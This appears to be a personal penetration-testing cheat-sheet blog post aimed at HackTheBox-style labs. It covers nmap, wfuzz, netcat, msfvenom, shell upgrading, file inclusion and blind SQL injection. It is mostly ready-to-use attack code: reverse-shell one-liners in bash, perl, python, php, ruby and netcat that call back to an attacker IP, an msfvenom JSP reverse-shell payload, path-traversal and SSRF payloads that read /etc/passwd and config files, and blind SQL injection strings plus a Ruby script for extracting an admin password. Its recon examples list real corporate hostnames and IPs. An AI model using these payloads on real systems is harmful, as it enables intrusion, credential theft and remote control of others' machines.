Pentest scripts, tools & more

The bread and butter of pentesting: nmap

A collection of snippets that I’m harvesting from the web to keep them all in one place.

Table of contents

  1. Basic nmap routine
  2. Python Webserver
  3. SSRF Stuff
  4. wfuzz
  5. Netcat
  6. MSFvenom
  7. Shell Spawning
  8. Random Scripts
  9. Code execution vulns
  10. Local File Inclusion
  11. Remote File Inclusion
  12. Subdomains
  13. Blind sqli cheatsheet
  14. Local File Disclosure

Most of these scripts and oneliners are taken from the videos made by @ippsec. Make sure to check his Youtube channel. Thanks for the great walkthroughs!

I’ll be updating this post whenever I find a useful technique, tool or script that has anything to do with pentesting etc. It’s a long way from finished :)

If you have any suggestions or tips feel free to send me an e-mail (martijn [at] x1m.nl) or a Twitter DM. You can also leave a comment below.

Basic nmap routine

It’s good to keep organized and keeping a solid directory structure is a good way to start with.


mkdir -p ~/Documents/$DIR/$SUBDIR

Create project directory: example: ~/Documents/htb/boxes/$name

$SUBDIR is optional


cd ~/Documents/$DIR/$SUBDIR

# had some errors when running nmap command: nmap failed to open normal output file

$ mkdir -p nmap

$DIR nmap -sC -sV -oA nmap/initial 10.10.10.10

Creates nmap directory + initial scan files


$DIR less nmap/initial.nmap #check for ports / services

All ports scan + all ports files


$DIR nmap -p- -oA nmap/allports 10.10.10.10

$DIR less nmap/allports.nmap

Note: examples are based on HackTheBox environment, hence the IP addresses.

Quick Python HTTP webserver to check SSRF and other stuff


python -m SimpleHTTPServer
Serving HTTP on 0.0.0.0 port 8000

Check ifconfig tun0 for ip address & don’t forget port# at http://ipaddress:port

In submit bar/GET Request path=:


(path=)http://10.10.10.11 # lhost ip address from ifconfig tun0

Check for response in browser and terminal that has the webserver running.

Don’t forget to add :port


(path=)http://10.10.10.11:8000

Check for response, if directory listing: it hits.

Then check if response returns User agent to the terminal with webserver.

If there is any user agent in the response, check for exploits on that user agent

SSRF Stuff

In submit/? form


file:///etc/passwd

Burp/ZAP: intercept + request to repeater:


GET /url.php?path=

file # error?

fil # no error? maybe regular expression for file

http://localhost:60000 # check for response

# If response =  true, check with wfuzz

Wfuzz


wfuzz -h

wfuzz -c -z range, 1-65535 http://10.10.10.10:60000/url.php?path=http://localhost:FUZZ

Check output of ports

If there are a lot of ports with 2 Ch , filter them out with --hl=2


wfuzz -c -z range, 1-65535 --hl=2 http://10.10.10.10:60000/url.php?path=http://localhost:FUZZ

If output gives ports, check those: might be internal service!

Netcat


$ nc -lvp 4444

$ nc -lvnp 80 / 443

Setting netcat on port 80 or 443 can be a good way to make sure it gets through the firewall

More on Netcat soon ™

Msfvenom

msfvenom is a combination of Msfpayload and Msfencode, putting both of these tools into a single Framework instance. msfvenom replaced both msfpayload and msfencode as of June 8th, 2015.

The advantages of msfvenom are:

  • One single tool

  • Standardized command line options

  • Increased speed


[email protected]:~# msfvenom -h

MsfVenom - a Metasploit standalone payload generator.
Also a replacement for msfpayload and msfencode.
Usage: /usr/bin/msfvenom [options]

Options:
    -p, --payload            Payload to use. Specify a '-' or stdin to use custom payloads
        --payload-options            List the payload's standard options
    -l, --list          [type]       List a module type. Options are: payloads, encoders, nops, all
    -n, --nopsled             Prepend a nopsled of [length] size on to the payload
    -f, --format              Output format (use --help-formats for a list)
        --help-formats               List available formats
    -e, --encoder            The encoder to use
    -a, --arch                  The architecture to use
        --platform          The platform of the payload
        --help-platforms             List available platforms
    -s, --space               The maximum size of the resulting payload
        --encoder-space       The maximum size of the encoded payload (defaults to the -s value)
    -b, --bad-chars             The list of characters to avoid example: '\x00\xff'
    -i, --iterations           The number of times to encode the payload
    -c, --add-code              Specify an additional win32 shellcode file to include
    -x, --template              Specify a custom executable file to use as a template
    -k, --keep                       Preserve the template behavior and inject the payload as a new thread
    -o, --out                   Save the payload
    -v, --var-name              Specify a custom variable name to use for certain output formats
        --smallest                   Generate the smallest possible payload
    -h, --help                       Show this message

Example usage:


# Msfvenom example used for Tomcat file upload (.war).

$ msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.10.11 LPORT=80 -f war > $name.war

Source

Shell Spawning

Upgrade simple shells to interactive TTYs.


python -c 'import pty; pty.spawn("/bin/sh")'


echo os.system('/bin/bash')


/bin/sh -i


perl -e 'exec "/bin/sh";'


perl: exec "/bin/sh";


ruby: exec "/bin/sh"


lua: os.execute('/bin/sh')


# (from within IRB)

exec "/bin/sh"


# (from within vi)

:!bash


# (from within vi)

:set shell=/bin/bash:shell


# (from within nmap)

!sh

Snippet source

Random Scripts

Nifty little snippet. Source


# procmon.sh

#!/bin/bash

# Loop by line
IFS=$'\n'

old_process=$(ps -eo command)

while true; do
  new_process=$(ps -eo command)
  diff <(echo "$old_process") <(echo "$new_process") | grep [\<\>]
  sleep 1
  old_process=$new_process
done

Code execution vulns


# The following examples assumes the hacker IP is 10.20.14 and use port 8080 for the connection.
# Therefore in all of these cases you need to listen for port 8080 using the following command:

nc -vv -l -p 8080

nc -lvpn 8080

# RCE commands: <a name="rce"></a>

BASH
bash -i >& /dev/tcp/10.20.14.203/8080 0>&1

PERL
perl -e 'use Socket;$i="10.20.14";$p=8080;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

Python
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.20.14",8080));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

PHP
php -r '$sock=fsockopen("10.20.14",8080);exec("/bin/sh -i <&3 >&3 2>&3");'

Ruby
ruby -rsocket -e'f=TCPSocket.open("10.10.10.10",8080).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'

Netcat
nc -e /bin/sh 10.20.14 8080

LFI (Local File Inclusion)

  • Allows an attacker to read ANY file on the same server.
  • Access files outside www directory.

Pay attention to:


10.10.10.10/domain.com/dir/file/?page=something.php`

Check if something.php exists:


10.10.10.10/domain.com/dir/file/something.php

/etc/passwd is often used to validate LFI.


full path: `page=/var/www/dir/file/something.php`


Go back with the dotted way: `page=/../../../../something.php`


and include `/etc/passwd/`: `page=/../../../../etc/passwd`

RFI (Remote File Inclusion)

  • Similar to local file inclusion.
  • But allows an attacker to read ANY file from ANY server.
  • Execute PHP files from another server on the current server.
  • Store PHP files on other servers as .txt

Subdomains

Tools and methods to aid with recon, subdomain discovery and expanding your scope.

  • Aquatone
  • Sublist3r
  • knock py

Aquatone CLI tricks

Source

Get server technology stats


[email protected]:~/aquatone/corp.yahoo.com/headers# cat * | grep 'Server:' | sort | uniq -c | sort -nr
     13 Server: ATS
      6 Server: Bomgar
      1 Server: AkamaiGHost
[email protected]:~/aquatone/corp.yahoo.com/headers#

Find more subdomains


[email protected]:~/aquatone/corp.yahoo.com/html# cat * | egrep -o '[a-z0-9\-\_\.]+\.corp\.yahoo\.com' | sort -u
bomgar.corp.yahoo.com
bouncer.by.corp.yahoo.com
fast.corp.yahoo.com
it.corp.yahoo.com
request.corp.yahoo.com
services.corp.yahoo.com
[email protected]:~/aquatone/corp.yahoo.com/html#

Find HTML comments


[email protected]:~/aquatone/corp.yahoo.com/html# cat * | egrep -o '<!--.*-->'
<!--//-->
<!-- Begin comScore Tag -->
<!-- bouncer02.gh.bf1.yahoo.com Wed Jun 14 12:22:09 UTC 2017 -->
<!-- bouncer12-os.gh.bf2.yahoo.com Wed Jun 14 12:22:29 UTC 2017 -->
<!-- #doc4 -->
<!-- .dw1 -->
<!-- .dw4 -->
...
<!-- /.shmod -->
<!-- SpaceID=0 timeout (ads1) -->
<!-- src2.ops.ir2.yahoo.com Wed Jun 14 12:22:15 UTC 2017 -->
<!-- src4.ops.ir2.yahoo.com Wed Jun 14 12:21:44 UTC 2017 -->
<!-- src4.ops.ir2.yahoo.com Wed Jun 14 12:21:51 UTC 2017 -->
<!-- src4.ops.ir2.yahoo.com Wed Jun 14 12:22:27 UTC 2017 -->
<!-- src6.ops.ir2.yahoo.com Wed Jun 14 12:21:57 UTC 2017 -->
<!-- src6.ops.ir2.yahoo.com Wed Jun 14 12:22:15 UTC 2017 -->
<!-- src6.ops.ir2.yahoo.com Wed Jun 14 12:22:36 UTC 2017 -->
<!-- URL: /::ProfilerTotal:557:1497442917838::Page Creation:40:1497442917838::user_ups:0:1497442917844::ydht_time:1:1497442917845::Maple Execution:518:1497442917878::Maple WS:41:1497442917879::SHAdModule:457:1497442917921::SHLeftNavigationModule:7:1497442918378::SHHeroModule:0:1497442918385::SHBrowseShoppingModule:5:1497442918385::SHSocialNewBrowseModule:0:1497442918390::SHCopyrightModule:1:1497442918391:: -->
<!-- web23.shop.bf1.yahoo.com -->
<!-- web23.shop.bf1.yahoo.com Wed Jun 14 12:21:57 UTC 2017 -->

Find pages with password fields


[email protected]:~/aquatone/corp.yahoo.com/html# grep 'type="password"' *
bouncer_gh_corp_yahoo_com__72_30_2_113__80.html: <dd><input class="input-large" name="pass_word" type="password" id="pass_word" maxlength="64"   autocomplete="off" autocorrect="off" autocapitalize="off" spellcheck="false" ></dd>
fast_corp_yahoo_com__98_136_205_216__443.html: <dd><input class="input-large" name="pass_word" type="password" id="pass_word" maxlength="64"   autocomplete="off" autocorrect="off" autocapitalize="off" spellcheck="false" ></dd>
[email protected]:~/aquatone/corp.yahoo.com/html#

Get hosts listening on port 443


[email protected]:~/aquatone/corp.yahoo.com# cat open_ports.txt | grep ',443' | cut -d "," -f 1
117.104.189.54
124.108.98.253
124.108.98.254
203.83.249.10
203.83.249.4
...
216.145.48.153
72.30.2.113
98.136.163.125
98.136.205.152
98.136.205.216
[email protected]:~/aquatone/corp.yahoo.com#

Check HTTPS hosts for Heartbleed


[email protected]:~/aquatone/corp.yahoo.com# grep https urls.txt | cut -d '/' -f 3 > /tmp/targets.lst
[email protected]:~/aquatone/corp.yahoo.com# sslscan --targets=/tmp/targets.lst --no-ciphersuites --no-fallback --no-renegotiation --no-compression --no-check-certificate
Version: 1.11.9-static
OpenSSL 1.0.2l-dev  xx XXX xxxx

Testing SSL server bomgar.corp.yahoo.com on port 443 using SNI name

  Heartbleed:
TLS 1.2 not vulnerable to heartbleed
TLS 1.1 not vulnerable to heartbleed
TLS 1.0 not vulnerable to heartbleed



Testing SSL server bouncer.gh.corp.yahoo.com on port 443 using SNI name
...
Testing SSL server vpn2-2-gci.sv6.corp.yahoo.com on port 443 using SNI name

  Heartbleed:
TLS 1.2 not vulnerable to heartbleed
TLS 1.1 not vulnerable to heartbleed
TLS 1.0 not vulnerable to heartbleed

[email protected]:~/aquatone/corp.yahoo.com#


Blind sqli cheatsheet

Blind SQL Cheatsheet provided by Giovanni “Yung Hax” Chhatta.

Boolean based

INFO

  • Database = d
  • Table = T
  • Column1(username) = C1
  • Column2(password) = C2
  • Superuser = admin
  • [loop_int] = datatype loop iterator (integer)
  • [loop_char] = datatype loop iterator (char)

DATABASE


# Validate the amount of characters of the database:

    '  or 1=1 AND length(database()) = [loop_int] #


# Check the name of the database:

    '  or 1=1 AND substr(database(),[loop_int],1)='[loop_char]'#

TABLES


# How many tables does the database have:

    ' or 1=1 AND (SELECT COUNT(TABLE_NAME) FROM information_schema.tables WHERE table_schema = 'd') = [loop_int] #


# Amount of characters from first table:

    ' or 1=1 AND length((SELECT TABLE_NAME FROM information_schema.tables WHERE table_schema = 'd' LIMIT 1))=[loop_int] #


# Check the name of the first table in the database:

    ' or 1=1 AND substr((SELECT TABLE_NAME FROM information_schema.tables WHERE table_schema = 'd' LIMIT 1),[loop_int],1) = '[loop_char]' #

Script made by Giovanni “Yung Hax” Chhatta to exploit Blind SQLi: https://github.com/lilgio/random/edit/master/dump.rb

COLUMNS


# How many columns does the first table have:

    ' OR 1=1 AND (SELECT COUNT(*) FROM INFORMATION_SCHEMA.COLUMNS where table_schema = 'd' AND table_name = 't') = [loop_int] #


# Name of the first column from the database:

    ' or 1=1 AND substr((SELECT column_NAME FROM INFORMATION_SCHEMA.COLUMNS where table_schema = 'd' AND table_name = 't' LIMIT 1),1,1) = '[loop_char]'#


# Name of the remaining columns from the first table:

    ' or 1=1 AND substr((SELECT column_NAME FROM INFORMATION_SCHEMA.COLUMNS where table_schema = 'd' AND table_name = 't' LIMIT 1 OFFSET 1),[loop_int],1) = 'loop_char'#


# How many characters per columnname:

    ' or 1=1 AND (SELECT length(COLUMN_NAME) FROM (SELECT column_NAME FROM INFORMATION_SCHEMA.COLUMNS where table_schema = 'd' AND table_name = 't' LIMIT 1 OFFSET [loop_int]) as gio) = [loop_int] #

DATA DUMP


# How many characters does the ADMIN password have?:

    ' or 1=1 AND length( (SELECT C2 FROM t WHERE C1 = 'admin') ) = [loop_int] #


# Obtain the admin password:

    ' or 1=1 AND substr((SELECT C2 FROM t WHERE C1 = 'admin'),[loop_int],1) = '[loop_char]' #

Short example:


require 'net/http'
require 'uri'

url = URI.parse("http://10.10.10.10/login.php")

print "Databasename: "
8.times do |count|
    ("a".."z").each do |letter|
        payload = Net::HTTP.post_form(url,'username' => "' or 1=1 AND substr(database(),#{count},1)='#{letter}'#",'password' => 'asd').body.size
        print letter unless payload == 7074
    end
end

LFD (Local File Disclosure)

Provided by Damian

This is similar to LFI (Local File Inclusion), but you can download the file. You can, for example, download /index.php and get the database credentials from the source code.

Pay attention to:


10.10.10.10/files/download.php?file=Terms_of_Service.pdf`

Try to download the download file:


10.10.10.10/files/download.php?file=download.php

Download the index file:


10.10.10.10/files/download.php?file=../index.php`

You can now look for a include() or require() to get the config filename:


10.10.10.10/files/download.php?file=../include/database.config.php

More to be added.


Last update: 15:27 2018-03-26


  • x1m